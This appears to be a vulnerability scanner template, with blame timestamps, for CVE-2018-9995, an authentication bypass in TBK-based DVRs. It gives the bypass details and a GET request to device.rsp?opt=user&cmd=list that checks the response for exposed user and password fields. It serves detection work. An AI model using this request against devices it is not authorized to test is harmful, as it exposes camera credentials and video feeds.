2021-04-07 12:33:31 +00:00
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id: CVE-2018-9995
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info:
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name: DVR Authentication Bypass
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author: princechaddha
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2021-09-10 11:26:40 +00:00
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severity: critical
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2021-08-29 06:24:41 +00:00
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description: |
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2021-08-29 09:14:12 +00:00
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TBK DVR4104 and DVR4216 devices, as well as Novo, CeNova, QSee, Pulnix, XVR 5 in 1, Securus, Night OWL, DVR Login, HVR Login, and
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MDVR Login, which run re-branded versions of the original TBK DVR4104 and DVR4216 series, allow remote attackers to bypass
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authentication via a "Cookie: uid=admin" header, as demonstrated by a device.rsp?opt=user&cmd=list request that provides
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2021-08-29 06:24:41 +00:00
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credentials within JSON data in a response.
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2021-08-29 06:36:50 +00:00
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reference:
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2021-08-29 06:24:41 +00:00
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- http://misteralfa-hack.blogspot.cl/2018/04/tbk-vision-dvr-login-bypass.html
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- http://misteralfa-hack.blogspot.cl/2018/04/update-dvr-login-bypass-cve-2018-9995.html
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- https://www.bleepingcomputer.com/news/security/new-hacking-tool-lets-users-access-a-bunch-of-dvrs-and-their-video-feeds/
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- https://www.exploit-db.com/exploits/44577/
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2021-04-07 12:33:31 +00:00
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tags: cve,cve2018,auth-bypass
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2021-09-10 11:26:40 +00:00
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classification:
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cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.80
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cve-id: CVE-2018-9995
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2021-04-07 12:33:31 +00:00
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requests:
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- method: GET
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path:
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- "{{BaseURL}}/device.rsp?opt=user&cmd=list"
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matchers-condition: and
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matchers:
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- type: status
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status:
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- 200
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- type: word
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words:
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- "\"uid\":"
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2021-06-23 21:02:23 +00:00
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- "\"pwd\":"
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- "\"view\":"
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2021-04-07 12:33:31 +00:00
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- "playback"
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condition: and
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part: body
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